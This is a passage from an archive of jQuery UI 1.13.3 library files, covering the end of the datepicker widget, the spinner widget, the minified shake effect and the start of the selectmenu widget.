ui-corner-all", "data-handler": "prev", "data-event": "click", title: prevText } ) .append( $( "<span>" ) .addClass( "ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w" ) ) .text( prevText ) )[ 0 ].outerHTML; } else if ( hideIfNoPrevNext ) { prev = ""; } else { prev = $( "<a>" ) .attr( { "class": "ui-datepicker-prev ui-corner-all ui-state-disabled", title: prevText } ) .append( $( "<span>" ) .addClass( "ui-icon ui-icon-circle-triangle-" + ( isRTL ? "e" : "w" ) ) .text( prevText ) )[ 0 ].outerHTML; } nextText = this._get( inst, "nextText" ); nextText = ( !navigationAsDateFormat ? nextText : this.formatDate( nextText, this._daylightSavingAdjust( new Date( drawYear, drawMonth + stepMonths, 1 ) ), this._getFormatConfig( inst ) ) ); if ( this._canAdjustMonth( inst, +1, drawYear, drawMonth ) ) { next = $( "<a>" ) .attr( { "class": "ui-datepicker-next ui-corner-all", "data-handler": "next", "data-event": "click", title: nextText } ) .append( $( "<span>" ) .addClass( "ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e" ) ) .text( nextText ) )[ 0 ].outerHTML; } else if ( hideIfNoPrevNext ) { next = ""; } else { next = $( "<a>" ) .attr( { "class": "ui-datepicker-next ui-corner-all ui-state-disabled", title: nextText } ) .append( $( "<span>" ) .attr( "class", "ui-icon ui-icon-circle-triangle-" + ( isRTL ? "w" : "e" ) ) .text( nextText ) )[ 0 ].outerHTML; } currentText = this._get( inst, "currentText" ); gotoDate = ( this._get( inst, "gotoCurrent" ) && inst.currentDay ? currentDate : today ); currentText = ( !navigationAsDateFormat ? currentText : this.formatDate( currentText, gotoDate, this._getFormatConfig( inst ) ) ); controls = ""; if ( !inst.inline ) { controls = $( "<button>" ) .attr( { type: "button", "class": "ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all", "data-handler": "hide", "data-event": "click" } ) .text( this._get( inst, "closeText" ) )[ 0 ].outerHTML; } buttonPanel = ""; if ( showButtonPanel ) { buttonPanel = $( "<div class='ui-datepicker-buttonpane ui-widget-content'>" ) .append( isRTL ? controls : "" ) .append( this._isInRange( inst, gotoDate ) ? $( "<button>" ) .attr( { type: "button", "class": "ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all", "data-handler": "today", "data-event": "click" } ) .text( currentText ) : "" ) .append( isRTL ? "" : controls )[ 0 ].outerHTML; } firstDay = parseInt( this._get( inst, "firstDay" ), 10 ); firstDay = ( isNaN( firstDay ) ? 0 : firstDay ); showWeek = this._get( inst, "showWeek" ); dayNames = this._get( inst, "dayNames" ); dayNamesMin = this._get( inst, "dayNamesMin" ); monthNames = this._get( inst, "monthNames" ); monthNamesShort = this._get( inst, "monthNamesShort" ); beforeShowDay = this._get( inst, "beforeShowDay" ); showOtherMonths = this._get( inst, "showOtherMonths" ); selectOtherMonths = this._get( inst, "selectOtherMonths" ); defaultDate = this._getDefaultDate( inst ); html = ""; for ( row = 0; row < numMonths[ 0 ]; row++ ) { group = ""; this.maxRows = 4; for ( col = 0; col < numMonths[ 1 ]; col++ ) { selectedDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, inst.selectedDay ) ); cornerClass = " ui-corner-all"; calender = ""; if ( isMultiMonth ) { calender += "<div class='ui-datepicker-group"; if ( numMonths[ 1 ] > 1 ) { switch ( col ) { case 0: calender += " ui-datepicker-group-first"; cornerClass = " ui-corner-" + ( isRTL ? "right" : "left" ); break; case numMonths[ 1 ] - 1: calender += " ui-datepicker-group-last"; cornerClass = " ui-corner-" + ( isRTL ? "left" : "right" ); break; default: calender += " ui-datepicker-group-middle"; cornerClass = ""; break; } } calender += "'>"; } calender += "<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix" + cornerClass + "'>" + ( /all|left/.test( cornerClass ) && row === 0 ? ( isRTL ? next : prev ) : "" ) + ( /all|right/.test( cornerClass ) && row === 0 ? ( isRTL ? prev : next ) : "" ) + this._generateMonthYearHeader( inst, drawMonth, drawYear, minDate, maxDate, row > 0 || col > 0, monthNames, monthNamesShort ) + // draw month headers "</div><table class='ui-datepicker-calendar'><thead>" + "<tr>"; thead = ( showWeek ? "<th class='ui-datepicker-week-col'>" + this._get( inst, "weekHeader" ) + "</th>" : "" ); for ( dow = 0; dow < 7; dow++ ) { // days of the week day = ( dow + firstDay ) % 7; thead += "<th scope='col'" + ( ( dow + firstDay + 6 ) % 7 >= 5 ? " class='ui-datepicker-week-end'" : "" ) + ">" + "<span title='" + dayNames[ day ] + "'>" + dayNamesMin[ day ] + "</span></th>"; } calender += thead + "</tr></thead><tbody>"; daysInMonth = this._getDaysInMonth( drawYear, drawMonth ); if ( drawYear === inst.selectedYear && drawMonth === inst.selectedMonth ) { inst.selectedDay = Math.min( inst.selectedDay, daysInMonth ); } leadDays = ( this._getFirstDayOfMonth( drawYear, drawMonth ) - firstDay + 7 ) % 7; curRows = Math.ceil( ( leadDays + daysInMonth ) / 7 ); // calculate the number of rows to generate numRows = ( isMultiMonth ? this.maxRows > curRows ? this.maxRows : curRows : curRows ); //If multiple months, use the higher number of rows (see #7043) this.maxRows = numRows; printDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 - leadDays ) ); for ( dRow = 0; dRow < numRows; dRow++ ) { // create date picker rows calender += "<tr>"; tbody = ( !showWeek ? "" : "<td class='ui-datepicker-week-col'>" + this._get( inst, "calculateWeek" )( printDate ) + "</td>" ); for ( dow = 0; dow < 7; dow++ ) { // create date picker days daySettings = ( beforeShowDay ? beforeShowDay.apply( ( inst.input ? inst.input[ 0 ] : null ), [ printDate ] ) : [ true, "" ] ); otherMonth = ( printDate.getMonth() !== drawMonth ); unselectable = ( otherMonth && !selectOtherMonths ) || !daySettings[ 0 ] || ( minDate && printDate < minDate ) || ( maxDate && printDate > maxDate ); tbody += "<td class='" + ( ( dow + firstDay + 6 ) % 7 >= 5 ? " ui-datepicker-week-end" : "" ) + // highlight weekends ( otherMonth ? " ui-datepicker-other-month" : "" ) + // highlight days from other months ( ( printDate.getTime() === selectedDate.getTime() && drawMonth === inst.selectedMonth && inst._keyEvent ) || // user pressed key ( defaultDate.getTime() === printDate.getTime() && defaultDate.getTime() === selectedDate.getTime() ) ? // or defaultDate is current printedDate and defaultDate is selectedDate " " + this._dayOverClass : "" ) + // highlight selected day ( unselectable ? " " + this._unselectableClass + " ui-state-disabled" : "" ) + // highlight unselectable days ( otherMonth && !showOtherMonths ? "" : " " + daySettings[ 1 ] + // highlight custom dates ( printDate.getTime() === currentDate.getTime() ? " " + this._currentClass : "" ) + // highlight selected day ( printDate.getTime() === today.getTime() ? " ui-datepicker-today" : "" ) ) + "'" + // highlight today (if different) ( ( !otherMonth || showOtherMonths ) && daySettings[ 2 ] ? " title='" + daySettings[ 2 ].replace( /'/g, "'" ) + "'" : "" ) + // cell title ( unselectable ? "" : " data-handler='selectDay' data-event='click' data-month='" + printDate.getMonth() + "' data-year='" + printDate.getFullYear() + "'" ) + ">" + // actions ( otherMonth && !showOtherMonths ? " " : // display for other months ( unselectable ? "<span class='ui-state-default'>" + printDate.getDate() + "</span>" : "<a class='ui-state-default" + ( printDate.getTime() === today.getTime() ? " ui-state-highlight" : "" ) + ( printDate.getTime() === currentDate.getTime() ? " ui-state-active" : "" ) + // highlight selected day ( otherMonth ? " ui-priority-secondary" : "" ) + // distinguish dates from other months "' href='#' aria-current='" + ( printDate.getTime() === currentDate.getTime() ? "true" : "false" ) + // mark date as selected for screen reader "' data-date='" + printDate.getDate() + // store date as data "'>" + printDate.getDate() + "</a>" ) ) + "</td>"; // display selectable date printDate.setDate( printDate.getDate() + 1 ); printDate = this._daylightSavingAdjust( printDate ); } calender += tbody + "</tr>"; } drawMonth++; if ( drawMonth > 11 ) { drawMonth = 0; drawYear++; } calender += "</tbody></table>" + ( isMultiMonth ? "</div>" + ( ( numMonths[ 0 ] > 0 && col === numMonths[ 1 ] - 1 ) ? "<div class='ui-datepicker-row-break'></div>" : "" ) : "" ); group += calender; } html += group; } html += buttonPanel; inst._keyEvent = false; return html; }, /* Generate the month and year header. */ _generateMonthYearHeader: function( inst, drawMonth, drawYear, minDate, maxDate, secondary, monthNames, monthNamesShort ) { var inMinYear, inMaxYear, month, years, thisYear, determineYear, year, endYear, changeMonth = this._get( inst, "changeMonth" ), changeYear = this._get( inst, "changeYear" ), showMonthAfterYear = this._get( inst, "showMonthAfterYear" ), selectMonthLabel = this._get( inst, "selectMonthLabel" ), selectYearLabel = this._get( inst, "selectYearLabel" ), html = "<div class='ui-datepicker-title'>", monthHtml = ""; // Month selection if ( secondary || !changeMonth ) { monthHtml += "<span class='ui-datepicker-month'>" + monthNames[ drawMonth ] + "</span>"; } else { inMinYear = ( minDate && minDate.getFullYear() === drawYear ); inMaxYear = ( maxDate && maxDate.getFullYear() === drawYear ); monthHtml += "<select class='ui-datepicker-month' aria-label='" + selectMonthLabel + "' data-handler='selectMonth' data-event='change'>"; for ( month = 0; month < 12; month++ ) { if ( ( !inMinYear || month >= minDate.getMonth() ) && ( !inMaxYear || month <= maxDate.getMonth() ) ) { monthHtml += "<option value='" + month + "'" + ( month === drawMonth ? " selected='selected'" : "" ) + ">" + monthNamesShort[ month ] + "</option>"; } } monthHtml += "</select>"; } if ( !showMonthAfterYear ) { html += monthHtml + ( secondary || !( changeMonth && changeYear ) ? " " : "" ); } // Year selection if ( !inst.yearshtml ) { inst.yearshtml = ""; if ( secondary || !changeYear ) { html += "<span class='ui-datepicker-year'>" + drawYear + "</span>"; } else { // determine range of years to display years = this._get( inst, "yearRange" ).split( ":" ); thisYear = new Date().getFullYear(); determineYear = function( value ) { var year = ( value.match( /c[+\-].*/ ) ? drawYear + parseInt( value.substring( 1 ), 10 ) : ( value.match( /[+\-].*/ ) ? thisYear + parseInt( value, 10 ) : parseInt( value, 10 ) ) ); return ( isNaN( year ) ? thisYear : year ); }; year = determineYear( years[ 0 ] ); endYear = Math.max( year, determineYear( years[ 1 ] || "" ) ); year = ( minDate ? Math.max( year, minDate.getFullYear() ) : year ); endYear = ( maxDate ? Math.min( endYear, maxDate.getFullYear() ) : endYear ); inst.yearshtml += "<select class='ui-datepicker-year' aria-label='" + selectYearLabel + "' data-handler='selectYear' data-event='change'>"; for ( ; year <= endYear; year++ ) { inst.yearshtml += "<option value='" + year + "'" + ( year === drawYear ? " selected='selected'" : "" ) + ">" + year + "</option>"; } inst.yearshtml += "</select>"; html += inst.yearshtml; inst.yearshtml = null; } } html += this._get( inst, "yearSuffix" ); if ( showMonthAfterYear ) { html += ( secondary || !( changeMonth && changeYear ) ? " " : "" ) + monthHtml; } html += "</div>"; // Close datepicker_header return html; }, /* Adjust one of the date sub-fields. */ _adjustInstDate: function( inst, offset, period ) { var year = inst.selectedYear + ( period === "Y" ? offset : 0 ), month = inst.selectedMonth + ( period === "M" ? offset : 0 ), day = Math.min( inst.selectedDay, this._getDaysInMonth( year, month ) ) + ( period === "D" ? offset : 0 ), date = this._restrictMinMax( inst, this._daylightSavingAdjust( new Date( year, month, day ) ) ); inst.selectedDay = date.getDate(); inst.drawMonth = inst.selectedMonth = date.getMonth(); inst.drawYear = inst.selectedYear = date.getFullYear(); if ( period === "M" || period === "Y" ) { this._notifyChange( inst ); } }, /* Ensure a date is within any min/max bounds. */ _restrictMinMax: function( inst, date ) { var minDate = this._getMinMaxDate( inst, "min" ), maxDate = this._getMinMaxDate( inst, "max" ), newDate = ( minDate && date < minDate ? minDate : date ); return ( maxDate && newDate > maxDate ? maxDate : newDate ); }, /* Notify change of month/year. */ _notifyChange: function( inst ) { var onChange = this._get( inst, "onChangeMonthYear" ); if ( onChange ) { onChange.apply( ( inst.input ? inst.input[ 0 ] : null ), [ inst.selectedYear, inst.selectedMonth + 1, inst ] ); } }, /* Determine the number of months to show. */ _getNumberOfMonths: function( inst ) { var numMonths = this._get( inst, "numberOfMonths" ); return ( numMonths == null ? [ 1, 1 ] : ( typeof numMonths === "number" ? [ 1, numMonths ] : numMonths ) ); }, /* Determine the current maximum date - ensure no time components are set. */ _getMinMaxDate: function( inst, minMax ) { return this._determineDate( inst, this._get( inst, minMax + "Date" ), null ); }, /* Find the number of days in a given month. */ _getDaysInMonth: function( year, month ) { return 32 - this._daylightSavingAdjust( new Date( year, month, 32 ) ).getDate(); }, /* Find the day of the week of the first of a month. */ _getFirstDayOfMonth: function( year, month ) { return new Date( year, month, 1 ).getDay(); }, /* Determines if we should allow a "next/prev" month display change. */ _canAdjustMonth: function( inst, offset, curYear, curMonth ) { var numMonths = this._getNumberOfMonths( inst ), date = this._daylightSavingAdjust( new Date( curYear, curMonth + ( offset < 0 ? offset : numMonths[ 0 ] * numMonths[ 1 ] ), 1 ) ); if ( offset < 0 ) { date.setDate( this._getDaysInMonth( date.getFullYear(), date.getMonth() ) ); } return this._isInRange( inst, date ); }, /* Is the given date in the accepted range? */ _isInRange: function( inst, date ) { var yearSplit, currentYear, minDate = this._getMinMaxDate( inst, "min" ), maxDate = this._getMinMaxDate( inst, "max" ), minYear = null, maxYear = null, years = this._get( inst, "yearRange" ); if ( years ) { yearSplit = years.split( ":" ); currentYear = new Date().getFullYear(); minYear = parseInt( yearSplit[ 0 ], 10 ); maxYear = parseInt( yearSplit[ 1 ], 10 ); if ( yearSplit[ 0 ].match( /[+\-].*/ ) ) { minYear += currentYear; } if ( yearSplit[ 1 ].match( /[+\-].*/ ) ) { maxYear += currentYear; } } return ( ( !minDate || date.getTime() >= minDate.getTime() ) && ( !maxDate || date.getTime() <= maxDate.getTime() ) && ( !minYear || date.getFullYear() >= minYear ) && ( !maxYear || date.getFullYear() <= maxYear ) ); }, /* Provide the configuration settings for formatting/parsing. */ _getFormatConfig: function( inst ) { var shortYearCutoff = this._get( inst, "shortYearCutoff" ); shortYearCutoff = ( typeof shortYearCutoff !== "string" ? shortYearCutoff : new Date().getFullYear() % 100 + parseInt( shortYearCutoff, 10 ) ); return { shortYearCutoff: shortYearCutoff, dayNamesShort: this._get( inst, "dayNamesShort" ), dayNames: this._get( inst, "dayNames" ), monthNamesShort: this._get( inst, "monthNamesShort" ), monthNames: this._get( inst, "monthNames" ) }; }, /* Format the given date for display. */ _formatDate: function( inst, day, month, year ) { if ( !day ) { inst.currentDay = inst.selectedDay; inst.currentMonth = inst.selectedMonth; inst.currentYear = inst.selectedYear; } var date = ( day ? ( typeof day === "object" ? day : this._daylightSavingAdjust( new Date( year, month, day ) ) ) : this._daylightSavingAdjust( new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) ); return this.formatDate( this._get( inst, "dateFormat" ), date, this._getFormatConfig( inst ) ); } } ); /* * Bind hover events for datepicker elements. * Done via delegate so the binding only occurs once in the lifetime of the parent div. * Global datepicker_instActive, set by _updateDatepicker allows the handlers to find their way back to the active picker. */ function datepicker_bindHover( dpDiv ) { var selector = "button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a"; return dpDiv.on( "mouseout", selector, function() { $( this ).removeClass( "ui-state-hover" ); if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) { $( this ).removeClass( "ui-datepicker-prev-hover" ); } if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) { $( this ).removeClass( "ui-datepicker-next-hover" ); } } ) .on( "mouseover", selector, datepicker_handleMouseover ); } function datepicker_handleMouseover() { if ( !$.datepicker._isDisabledDatepicker( datepicker_instActive.inline ? datepicker_instActive.dpDiv.parent()[ 0 ] : datepicker_instActive.input[ 0 ] ) ) { $( this ).parents( ".ui-datepicker-calendar" ).find( "a" ).removeClass( "ui-state-hover" ); $( this ).addClass( "ui-state-hover" ); if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) { $( this ).addClass( "ui-datepicker-prev-hover" ); } if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) { $( this ).addClass( "ui-datepicker-next-hover" ); } } } /* jQuery extend now ignores nulls! */ function datepicker_extendRemove( target, props ) { $.extend( target, props ); for ( var name in props ) { if ( props[ name ] == null ) { target[ name ] = props[ name ]; } } return target; } /* Invoke the datepicker functionality. @param options string - a command, optionally followed by additional parameters or Object - settings for attaching new datepicker functionality @return jQuery object */ $.fn.datepicker = function( options ) { /* Verify an empty collection wasn't passed - Fixes #6976 */ if ( !this.length ) { return this; } /* Initialise the date picker. */ if ( !$.datepicker.initialized ) { $( document ).on( "mousedown", $.datepicker._checkExternalClick ); $.datepicker.initialized = true; } /* Append datepicker main container to body if not exist. */ if ( $( "#" + $.datepicker._mainDivId ).length === 0 ) { $( "body" ).append( $.datepicker.dpDiv ); } var otherArgs = Array.prototype.slice.call( arguments, 1 ); if ( typeof options === "string" && ( options === "isDisabled" || options === "getDate" || options === "widget" ) ) { return $.datepicker[ "_" + options + "Datepicker" ]. apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) ); } if ( options === "option" && arguments.length === 2 && typeof arguments[ 1 ] === "string" ) { return $.datepicker[ "_" + options + "Datepicker" ]. apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) ); } return this.each( function() { if ( typeof options === "string" ) { $.datepicker[ "_" + options + "Datepicker" ] .apply( $.datepicker, [ this ].concat( otherArgs ) ); } else { $.datepicker._attachDatepicker( this, options ); } } ); }; $.datepicker = new Datepicker(); // singleton instance $.datepicker.initialized = false; $.datepicker.uuid = new Date().getTime(); $.datepicker.version = "1.13.3"; return $.datepicker; } ); jquery/ui/spinner.js 0000644 00000034142 15111757754 0010535 0 ustar 00 /*! * jQuery UI Spinner 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Spinner //>>group: Widgets //>>description: Displays buttons to easily input numbers via the keyboard or mouse. //>>docs: https://api.jqueryui.com/spinner/ //>>demos: https://jqueryui.com/spinner/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/spinner.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./button", "../version", "../keycode", "../safe-active-element", "../widget" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; function spinnerModifier( fn ) { return function() { var previous = this.element.val(); fn.apply( this, arguments ); this._refresh(); if ( previous !== this.element.val() ) { this._trigger( "change" ); } }; } $.widget( "ui.spinner", { version: "1.13.3", defaultElement: "<input>", widgetEventPrefix: "spin", options: { classes: { "ui-spinner": "ui-corner-all", "ui-spinner-down": "ui-corner-br", "ui-spinner-up": "ui-corner-tr" }, culture: null, icons: { down: "ui-icon-triangle-1-s", up: "ui-icon-triangle-1-n" }, incremental: true, max: null, min: null, numberFormat: null, page: 10, step: 1, change: null, spin: null, start: null, stop: null }, _create: function() { // handle string values that need to be parsed this._setOption( "max", this.options.max ); this._setOption( "min", this.options.min ); this._setOption( "step", this.options.step ); // Only format if there is a value, prevents the field from being marked // as invalid in Firefox, see #9573. if ( this.value() !== "" ) { // Format the value, but don't constrain. this._value( this.element.val(), true ); } this._draw(); this._on( this._events ); this._refresh(); // Turning off autocomplete prevents the browser from remembering the // value when navigating through history, so we re-enable autocomplete // if the page is unloaded before the widget is destroyed. #7790 this._on( this.window, { beforeunload: function() { this.element.removeAttr( "autocomplete" ); } } ); }, _getCreateOptions: function() { var options = this._super(); var element = this.element; $.each( [ "min", "max", "step" ], function( i, option ) { var value = element.attr( option ); if ( value != null && value.length ) { options[ option ] = value; } } ); return options; }, _events: { keydown: function( event ) { if ( this._start( event ) && this._keydown( event ) ) { event.preventDefault(); } }, keyup: "_stop", focus: function() { this.previous = this.element.val(); }, blur: function( event ) { if ( this.cancelBlur ) { delete this.cancelBlur; return; } this._stop(); this._refresh(); if ( this.previous !== this.element.val() ) { this._trigger( "change", event ); } }, mousewheel: function( event, delta ) { var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ); var isActive = this.element[ 0 ] === activeElement; if ( !isActive || !delta ) { return; } if ( !this.spinning && !this._start( event ) ) { return false; } this._spin( ( delta > 0 ? 1 : -1 ) * this.options.step, event ); clearTimeout( this.mousewheelTimer ); this.mousewheelTimer = this._delay( function() { if ( this.spinning ) { this._stop( event ); } }, 100 ); event.preventDefault(); }, "mousedown .ui-spinner-button": function( event ) { var previous; // We never want the buttons to have focus; whenever the user is // interacting with the spinner, the focus should be on the input. // If the input is focused then this.previous is properly set from // when the input first received focus. If the input is not focused // then we need to set this.previous based on the value before spinning. previous = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ) ? this.previous : this.element.val(); function checkFocus() { var isActive = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ); if ( !isActive ) { this.element.trigger( "focus" ); this.previous = previous; // support: IE // IE sets focus asynchronously, so we need to check if focus // moved off of the input because the user clicked on the button. this._delay( function() { this.previous = previous; } ); } } // Ensure focus is on (or stays on) the text field event.preventDefault(); checkFocus.call( this ); // Support: IE // IE doesn't prevent moving focus even with event.preventDefault() // so we set a flag to know when we should ignore the blur event // and check (again) if focus moved off of the input. this.cancelBlur = true; this._delay( function() { delete this.cancelBlur; checkFocus.call( this ); } ); if ( this._start( event ) === false ) { return; } this._repeat( null, $( event.currentTarget ) .hasClass( "ui-spinner-up" ) ? 1 : -1, event ); }, "mouseup .ui-spinner-button": "_stop", "mouseenter .ui-spinner-button": function( event ) { // button will add ui-state-active if mouse was down while mouseleave and kept down if ( !$( event.currentTarget ).hasClass( "ui-state-active" ) ) { return; } if ( this._start( event ) === false ) { return false; } this._repeat( null, $( event.currentTarget ) .hasClass( "ui-spinner-up" ) ? 1 : -1, event ); }, // TODO: do we really want to consider this a stop? // shouldn't we just stop the repeater and wait until mouseup before // we trigger the stop event? "mouseleave .ui-spinner-button": "_stop" }, // Support mobile enhanced option and make backcompat more sane _enhance: function() { this.uiSpinner = this.element .attr( "autocomplete", "off" ) .wrap( "<span>" ) .parent() // Add buttons .append( "<a></a><a></a>" ); }, _draw: function() { this._enhance(); this._addClass( this.uiSpinner, "ui-spinner", "ui-widget ui-widget-content" ); this._addClass( "ui-spinner-input" ); this.element.attr( "role", "spinbutton" ); // Button bindings this.buttons = this.uiSpinner.children( "a" ) .attr( "tabIndex", -1 ) .attr( "aria-hidden", true ) .button( { classes: { "ui-button": "" } } ); // TODO: Right now button does not support classes this is already updated in button PR this._removeClass( this.buttons, "ui-corner-all" ); this._addClass( this.buttons.first(), "ui-spinner-button ui-spinner-up" ); this._addClass( this.buttons.last(), "ui-spinner-button ui-spinner-down" ); this.buttons.first().button( { "icon": this.options.icons.up, "showLabel": false } ); this.buttons.last().button( { "icon": this.options.icons.down, "showLabel": false } ); // IE 6 doesn't understand height: 50% for the buttons // unless the wrapper has an explicit height if ( this.buttons.height() > Math.ceil( this.uiSpinner.height() * 0.5 ) && this.uiSpinner.height() > 0 ) { this.uiSpinner.height( this.uiSpinner.height() ); } }, _keydown: function( event ) { var options = this.options, keyCode = $.ui.keyCode; switch ( event.keyCode ) { case keyCode.UP: this._repeat( null, 1, event ); return true; case keyCode.DOWN: this._repeat( null, -1, event ); return true; case keyCode.PAGE_UP: this._repeat( null, options.page, event ); return true; case keyCode.PAGE_DOWN: this._repeat( null, -options.page, event ); return true; } return false; }, _start: function( event ) { if ( !this.spinning && this._trigger( "start", event ) === false ) { return false; } if ( !this.counter ) { this.counter = 1; } this.spinning = true; return true; }, _repeat: function( i, steps, event ) { i = i || 500; clearTimeout( this.timer ); this.timer = this._delay( function() { this._repeat( 40, steps, event ); }, i ); this._spin( steps * this.options.step, event ); }, _spin: function( step, event ) { var value = this.value() || 0; if ( !this.counter ) { this.counter = 1; } value = this._adjustValue( value + step * this._increment( this.counter ) ); if ( !this.spinning || this._trigger( "spin", event, { value: value } ) !== false ) { this._value( value ); this.counter++; } }, _increment: function( i ) { var incremental = this.options.incremental; if ( incremental ) { return typeof incremental === "function" ? incremental( i ) : Math.floor( i * i * i / 50000 - i * i / 500 + 17 * i / 200 + 1 ); } return 1; }, _precision: function() { var precision = this._precisionOf( this.options.step ); if ( this.options.min !== null ) { precision = Math.max( precision, this._precisionOf( this.options.min ) ); } return precision; }, _precisionOf: function( num ) { var str = num.toString(), decimal = str.indexOf( "." ); return decimal === -1 ? 0 : str.length - decimal - 1; }, _adjustValue: function( value ) { var base, aboveMin, options = this.options; // Make sure we're at a valid step // - find out where we are relative to the base (min or 0) base = options.min !== null ? options.min : 0; aboveMin = value - base; // - round to the nearest step aboveMin = Math.round( aboveMin / options.step ) * options.step; // - rounding is based on 0, so adjust back to our base value = base + aboveMin; // Fix precision from bad JS floating point math value = parseFloat( value.toFixed( this._precision() ) ); // Clamp the value if ( options.max !== null && value > options.max ) { return options.max; } if ( options.min !== null && value < options.min ) { return options.min; } return value; }, _stop: function( event ) { if ( !this.spinning ) { return; } clearTimeout( this.timer ); clearTimeout( this.mousewheelTimer ); this.counter = 0; this.spinning = false; this._trigger( "stop", event ); }, _setOption: function( key, value ) { var prevValue, first, last; if ( key === "culture" || key === "numberFormat" ) { prevValue = this._parse( this.element.val() ); this.options[ key ] = value; this.element.val( this._format( prevValue ) ); return; } if ( key === "max" || key === "min" || key === "step" ) { if ( typeof value === "string" ) { value = this._parse( value ); } } if ( key === "icons" ) { first = this.buttons.first().find( ".ui-icon" ); this._removeClass( first, null, this.options.icons.up ); this._addClass( first, null, value.up ); last = this.buttons.last().find( ".ui-icon" ); this._removeClass( last, null, this.options.icons.down ); this._addClass( last, null, value.down ); } this._super( key, value ); }, _setOptionDisabled: function( value ) { this._super( value ); this._toggleClass( this.uiSpinner, null, "ui-state-disabled", !!value ); this.element.prop( "disabled", !!value ); this.buttons.button( value ? "disable" : "enable" ); }, _setOptions: spinnerModifier( function( options ) { this._super( options ); } ), _parse: function( val ) { if ( typeof val === "string" && val !== "" ) { val = window.Globalize && this.options.numberFormat ? Globalize.parseFloat( val, 10, this.options.culture ) : +val; } return val === "" || isNaN( val ) ? null : val; }, _format: function( value ) { if ( value === "" ) { return ""; } return window.Globalize && this.options.numberFormat ? Globalize.format( value, this.options.numberFormat, this.options.culture ) : value; }, _refresh: function() { this.element.attr( { "aria-valuemin": this.options.min, "aria-valuemax": this.options.max, // TODO: what should we do with values that can't be parsed? "aria-valuenow": this._parse( this.element.val() ) } ); }, isValid: function() { var value = this.value(); // Null is invalid if ( value === null ) { return false; } // If value gets adjusted, it's invalid return value === this._adjustValue( value ); }, // Update the value without triggering change _value: function( value, allowAny ) { var parsed; if ( value !== "" ) { parsed = this._parse( value ); if ( parsed !== null ) { if ( !allowAny ) { parsed = this._adjustValue( parsed ); } value = this._format( parsed ); } } this.element.val( value ); this._refresh(); }, _destroy: function() { this.element .prop( "disabled", false ) .removeAttr( "autocomplete role aria-valuemin aria-valuemax aria-valuenow" ); this.uiSpinner.replaceWith( this.element ); }, stepUp: spinnerModifier( function( steps ) { this._stepUp( steps ); } ), _stepUp: function( steps ) { if ( this._start() ) { this._spin( ( steps || 1 ) * this.options.step ); this._stop(); } }, stepDown: spinnerModifier( function( steps ) { this._stepDown( steps ); } ), _stepDown: function( steps ) { if ( this._start() ) { this._spin( ( steps || 1 ) * -this.options.step ); this._stop(); } }, pageUp: spinnerModifier( function( pages ) { this._stepUp( ( pages || 1 ) * this.options.page ); } ), pageDown: spinnerModifier( function( pages ) { this._stepDown( ( pages || 1 ) * this.options.page ); } ), value: function( newVal ) { if ( !arguments.length ) { return this._parse( this.element.val() ); } spinnerModifier( this._value ).call( this, newVal ); }, widget: function() { return this.uiSpinner; } } ); // DEPRECATED // TODO: switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for spinner html extension points $.widget( "ui.spinner", $.ui.spinner, { _enhance: function() { this.uiSpinner = this.element .attr( "autocomplete", "off" ) .wrap( this._uiSpinnerHtml() ) .parent() // Add buttons .append( this._buttonHtml() ); }, _uiSpinnerHtml: function() { return "<span>"; }, _buttonHtml: function() { return "<a></a><a></a>"; } } ); } return $.ui.spinner; } ); jquery/ui/effect-shake.min.js 0000644 00000001516 15111757754 0012165 0 ustar 00 /*! * jQuery UI Effects Shake 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../version","../effect"],e):e(jQuery)}(function(h){"use strict";return h.effects.define("shake",function(e,t){var n=1,i=h(this),a=e.direction||"left",f=e.distance||20,s=e.times||3,u=2*s+1,c=Math.round(e.duration/u),r="up"===a||"down"===a?"top":"left",a="up"===a||"left"===a,o={},d={},m={},g=i.queue().length;for(h.effects.createPlaceholder(i),o[r]=(a?"-=":"+=")+f,d[r]=(a?"+=":"-=")+2*f,m[r]=(a?"-=":"+=")+2*f,i.animate(o,c,e.easing);n<s;n++)i.animate(d,c,e.easing).animate(m,c,e.easing);i.animate(d,c,e.easing).animate(o,c/2,e.easing).queue(t),h.effects.unshift(i,g,1+u)})}); jquery/ui/selectmenu.js 0000644 00000037732 15111757754 0011233 0 ustar 00 /*! * jQuery UI Selectmenu 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Selectmenu //>>group: Widgets /* eslint-disable max-len */ //>>description: Duplicates and extends the functionality of a native HTML select element, allowing it to be customizable in behavior and appearance far beyond the limitations of a native select. /* eslint-enable max-len */ //>>docs: https://api.jqueryui.com/selectmenu/ //>>demos: https://jqueryui.com/selectmenu/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/selectmenu.css, ../../themes/base/button.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./menu", "../form-reset-mixin", "../keycode", 